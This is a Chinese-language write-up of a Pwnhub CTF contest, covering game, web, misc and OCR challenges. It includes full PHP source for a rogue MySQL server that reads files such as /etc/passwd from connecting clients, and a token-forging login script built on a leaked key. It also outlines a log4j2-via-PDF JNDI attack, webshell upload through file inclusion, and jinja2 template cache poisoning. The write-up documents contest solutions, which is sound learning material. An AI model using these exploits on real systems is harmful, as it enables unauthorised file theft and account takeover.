前言 第一次参加Pwnhub举办的大型公开赛,体验良好。不愧是pwnhub,三个pwn到比赛结束就只有easyrop有四个解,膜拜pwn佬。前期比赛宣传的比较到位,pwnhub一直有举办公开月赛的传统,这次公开赛的规模更大,奖励也更加丰厚了。
比赛题目多种多样,各个方向的选手都能有题做,不只有传统的web、misc、crypto、re、pwn等,ACM、OCR、以及汇编等各种其他类型的题目都有涉及,甚至主办方还整了个网页版的传奇来玩,可以说是为了减少坐牢的枯燥而用心良苦了,希望各大线下比赛主办方都可以学习,题做不出来还能打打游戏(手动狗头)。
题目难度总体来说适中,pwn和misc偏难(长见识),种类多样的题目从多个方面考察了参赛选手的个人能力。
整个比赛流程下来,平台也十分流畅,靶机启动迅速,也没有限制靶机数量,后期靶机时间的限制也取消了,但美中不足的是,所有靶机都开放在同一个ip上,端口号可以遍历,再加上不是动态flag,这就可能导致蹭flag的情况出现。
WriteUp Gaming 头一次在ctf比赛中看到用flash游戏出的题目,感觉十分新奇,于是乎速速给我的虚拟机装上了flash,打开主办方开设的游戏。
game类题目有四个小题,最后一个题需要get服务器的shell,也算是半个web吧
是兄弟就来砍我 注册账号,创建角色登录游戏后,就能看见公告栏里的flag,可以说是十分友好了
初入门径 下一步就是要购买题目中所说的1000元的宝召唤道具了
一开始我们没有元宝,但是可以去领绑定元宝,但绑定元宝和元宝不一样,需要先通过抽奖,将绑定元宝转化为元宝,再买召唤券
打死召唤出来的怪物后会掉落flag之书1
要注意爆出来的flag之书其他玩家也可以捡走的,别跟我一样被抢了flag,flag为flag{nonono_notmola}
源码 比赛后期主办方放出了服务器的源码,虽然经过了一些修改,但是也能从中审出一些洞
首先是任意账户登录,从log.php中,可以找到生成token用的key
这样的话,我们知道任意用户的用户名,就可以登录他们的账户,注意游戏中的昵称和用户名可能并不相同
1 2 3 4 5 6 7 8 <?php $name ="rayi" ;$time =time ();$key ='jwjeDljl-sdlj213988WED^W9kjasdjlkoie2130942323' ;$md5 =md5 ($name .urlencode ($name ).$time .$key );$url ='http://121.196.195.255:8593/app/cklogin.php?userid=' .$name .'&username=' .$name .'&time=' .$time .'&flag=' .$md5 .'' ;echo $url ."\n" ;?>
还有,在log.php这里讲道理应该是有注入的,但不知道为什么线上一直复现不成功
web方面的其他洞没有再找出来,剩下getshell应该是需要对游戏服务器文件进行逆向了
Web web总体考察的知识点比较新,难易结合
EzPDFParser 下载源码,看到pdf和这个log4j2的时候,我想起来之前log4j2火的时候,看到一个师傅的文章
https://www.ddosi.org/log4j-pdf/
java写的pdf解析器在解析pdf的时候,可以通过报错触发log4j2
搭建恶意jndi服务器
https://github.com/Jeromeyoung/JNDIExploit-1
修改pdf文件
直接上传这个pdf,就能触发
easyCMS 看到测试mysql是否联通,就能想到利用mysql进行读文件
Rogue-MySql-Server读文件,py脚本不好使,但用php的可以
https://github.com/allyshka/Rogue-MySql-Server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php function unhex ($str ) { return pack ("H*" , preg_replace ('#[^a-f0-9]+#si' , '' , $str )); }$filename = "/etc/passwd" ;$srv = stream_socket_server ("tcp://0.0.0.0:2333" );while (true ) { echo "Enter filename to get [$filename ] > " ; $newFilename = rtrim (fgets (STDIN), "\r\n" ); if (!empty ($newFilename )) { $filename = $newFilename ; } echo "[.] Waiting for connection on 0.0.0.0:3306\n" ; $s = stream_socket_accept ($srv , -1 , $peer ); echo "[+] Connection from $peer - greet... " ; fwrite ($s , unhex ('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 47 77 43 2a 43 56 63 72 00 ' )); fread ($s , 8192 ); echo "auth ok... " ; fwrite ($s , unhex ('07 00 00 02 00 00 00 02 00 00 00' )); fread ($s , 8192 ); echo "some shit ok... " ; fwrite ($s , unhex ('07 00 00 01 00 00 00 00 00 00 00' )); fread ($s , 8192 ); echo "want file... " ; fwrite ($s , chr (strlen ($filename ) + 1 ) . "\x00\x00\x01\xFB" . $filename ); stream_socket_shutdown ($s , STREAM_SHUT_WR); echo "\n" ; echo "[+] $filename from $peer :\n" ; $len = fread ($s , 4 ); if (!empty ($len )) { list (, $len ) = unpack ("V" , $len ); $len &= 0xffffff ; while ($len > 0 ) { $chunk = fread ($s , $len ); $len -= strlen ($chunk ); echo $chunk ; } } echo "\n\n" ; fclose ($s ); }
把能读出来的文件都读出来后,开始审代码
route.php中,$this->class
的值是?s=xxx/【something】
的后半段,可控,于是可以进行目录跨越和文件包含,但限定了包含的文件结尾是Tool.php
继续看源码,testTool一看就比较可疑,这里可以从指定目录写文件
于是乎,写shell
用自己的ip找到沙箱目录,再通过route.php包含,即可getshell
baby_flask flask的模板渲染并不会随着文件更新而更新,需要对flask进行重启才能对模板重新渲染
/kill
路由访问显示500,而且实际上并不会重启,在本地复现的时候也报错,搜一下才知道,这个函数在Werkzeug 2.0版本已经被移除了,服务器的版本是2.1.1
https://doc.codingdict.com/jinja2_29/api.html?highlight=cache_size
jinja2.8对于模板的渲染次数缓存限制默认为400,超过400个模板,就会将前面最少使用的模板清除
因此,我们只需要生成400个模板后,即可在缓存刷新的时候执行我们新写入的payload,看到flag
400个模板生成后,即可修改第一个模板,写入payload
然后触发
Misc 眼神得好 幸好我以前玩过裸眼3d,要不然题都做不出来了
https://www.zhihu.com/question/19739300
裸眼3d图有两种看法,一种是两眼失焦,一种是类似于斗鸡眼
这个题的图用第二种方法可以看出,是flag{nice_pwnhub}
裸眼3d图的制作原理就是将两张图重合,我们也可以用stegsolve将两张图分开,从而不用费眼睛的获取flag
扩展:
这个图可以用两眼失焦的方法看出漂浮的硬币
Other 签到 题目提示flag在其他页面,那我们就去其他页面找一找
在关于页面有个视频,封面有二维码,扫描就是flag
http://ctf.pwnhub.cn/about.html
words_check 本来以为是挺难的ocr,后来发现图片都挺好识别的,调用百度的接口就行,能做到100%的识别率
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from urllib import responseimport requestsimport base64url = "http://47.97.127.1:28583/" def getToken (): token_url = url + "/getToken" response = requests.get(token_url) return response.json()['data' ]['token' ] def ocr (img_base64 ): host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=【你的】&client_secret=【你的】' response = requests.get(host) token = response.json()['access_token' ] ''' 通用文字识别(高精度版) ''' request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic" params = {"image" :img_base64} access_token = token request_url = request_url + "?access_token=" + access_token headers = {'content-type' : 'application/x-www-form-urlencoded' } response = requests.post(request_url, data=params, headers=headers) return response.json()['words_result' ] def getViolWords (): words_url = url + "/getViolWords" response = requests.get(words_url) return response.json()['data' ]['violWords' ] def getPic (token ): pic_url = url + "/getPic" data = {"token" :token} response = requests.post(pic_url,json=data) return response.json()['data' ]['words' ]['w1' ] def checkWords (violWords,picWords ): try : picWords = picWords[0 ]['words' ] except : pass print (picWords) for i in violWords: if i.replace(" " ,'' ).strip() in picWords: return False return True def submit (token,answer ): submit_url = url + "/submits" data = {"token" :token,"answer" :answer} response = requests.post(submit_url,json=data) return response.json() def getResult (token ): result_url = url + "/getResult" data = {"token" :token} response = requests.post(result_url,json=data) return response.json()['data' ] def getFlag (token ): flag_url = url + "/getFlag" data = {"token" :token} response = requests.post(flag_url,json=data) return response.json() token = getToken() violWords = getViolWords() for i in range (51 ): pic = getPic(token) picWords = ocr(pic) result = checkWords(violWords,picWords) print (result) print (submit(token,result)) print (getResult(token)) print (getFlag(token))
小结 比赛持续了36个小时,时间算比较长的,但某些种类题目数量似乎不是很多,例如web,akweb的队伍并不少,做完了三个题之后,我以为后期会上新题,但遗憾的是并没有。
总的来说比赛体验很好,也能通过赛题学到不少知识,希望pwnhub后期还能再举办类似的公开赛!